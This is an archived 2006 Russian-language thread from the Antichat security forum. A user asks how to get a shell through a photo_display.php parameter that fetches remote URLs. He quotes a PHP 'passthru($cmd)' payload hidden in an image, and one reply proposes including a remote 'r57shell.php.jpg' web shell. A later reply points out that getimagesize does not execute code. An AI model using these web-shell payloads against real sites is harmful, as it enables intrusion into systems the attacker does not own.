ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > Форумы
Перезагрузить страницу Как получить шелл?
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Как получить шелл?
  #1  
Старый 27.08.2006, 13:08
liauliau
Новичок
Регистрация: 09.04.2005
Сообщений: 29
Провел на форуме:
438995

Репутация: 17
По умолчанию Как получить шелл?
Есть сайт:
http://www.site.com/includes/photo_display.php?photo=http
Вылетает ошибка:
------------------------------------------------------
Warning: getimagesize(http) [function.getimagesize]: failed to open stream: No such file or directory in /путь/includes/photo_display.php on line 8
------------------------------------------------------
Вроде как инклуд. Пытаюсь проклудть - не получается. Но когда загужаю картинку(jpg,gif):
http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/ris.jpg - появляется картинка.
Пробовал добавить дебагером в картинку <? passthru($cmd); ?> - шелл получить не получается.
Что делать? Как получить шелл?
 

  #2  
Старый 27.08.2006, 13:18
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию
хз =). попробуй пихнуть шелл примерно так
PHP код:
Http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/r57shell.php.jpg 
- думаю понятно, открываешь картинку и туда код php
в осле и опере пробуй этот метод. отпишись как прошло
помоему тут все просто
Последний раз редактировалось Sn@k3; 27.08.2006 в 13:20.. Причина: забыл дописать, раньше нажал
 

  #3  
Старый 27.08.2006, 13:23
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию
Попробуй вообще без расширений подставить, или с расширениями в разном регистре...
 

  #4  
Старый 27.08.2006, 13:31
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903

Репутация: 345


По умолчанию
getimagesize, function.getimagesize

эти слова должны натолкнуть вас, что инклуд пишется по другому... не верите??? просто проверьте.
Даже из названия можно понять что эта функция возвращает не исполненный удаленный код, а размеры удаленной (можно и локальной) картинки... это все.


не каждая ошибка в пхп класса Warning является инклудом
 

  #5  
Старый 27.08.2006, 14:15
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию
Сорри за флейм, но только щас заметил, что это ведь вроде как скрипт двига PHOTO Gallery ???
 
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ